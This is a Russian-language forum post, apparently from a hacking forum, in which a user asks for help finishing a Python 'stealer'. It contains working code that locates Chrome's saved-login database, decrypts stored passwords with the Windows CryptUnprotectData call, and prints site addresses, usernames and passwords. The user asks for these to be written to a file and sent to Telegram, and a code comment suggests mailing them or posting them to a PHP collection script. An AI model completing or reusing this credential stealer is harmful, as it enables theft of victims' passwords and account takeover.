• B правой части каждого сообщения есть стрелки и . Не стесняйтесь оценивать ответы. Чтобы автору вопроса закрыть свой тикет, надо выбрать лучший ответ. Просто нажмите значок в правой части сообщения.

Дописать код стиллера на питон

Squ0nk

Green Team
30.10.2017
198
79
BIT
32
Всем привет, надо дописать код на питоне. Просто записать значение переменной(пароли) в файл и отправить в телеграмм.
Сам код:
Python:
import os
import requests
from sys import exit
import sqlite3
from win32crypt import CryptUnprotectData
import argparse

print('Убедитесь что вы закрыли браузер Chrome...')
print('Ждем некоторое время...')

# Вычисляем папку куда установлен Chrome в Windows

def chromepath():
    PathName = os.getenv('localappdata') + '\\Google\\Chrome\\User Data\\Default\\'
    if (os.path.isdir(PathName) == False):
        exit(0)
    return PathName 


# Грабим базу данных с сохраненными паролями
def grub():
    secret = []
    path = chromepath()
    try:
        connection = sqlite3.connect(path + "Login Data")
        with connection:
            cursor = connection.cursor()
            v = cursor.execute('SELECT action_url, username_value, password_value FROM logins')
            value = v.fetchall()

        for i in value:
            password = CryptUnprotectData(i[2], None, None, None, 0)[1]
            if password:
                secret.append({
                    '1': i[0],
                    '2': i[1],
                    '3': str(password)
                })
                    
    except sqlite3.OperationalError as e:
            if (str(e) == 'database is locked'):
                print('Вы должны выключить Chrome прежде чем запускать скрипт')
                input()
                exit(0)
              
            else:
                exit(0)
    if secret == []:
        pass
    else:         
        return secret         

# Показываем пароли на экране (вы можете послать их себе на почту или на скрипт php - ловушку для данных)
for data in grub():
    for x in data.values():
        print(x)

print("Пароли извлечены, нажмите Enter")
input()
 
Мы в соцсетях:

Обучение наступательной кибербезопасности в игровой форме. Начать игру!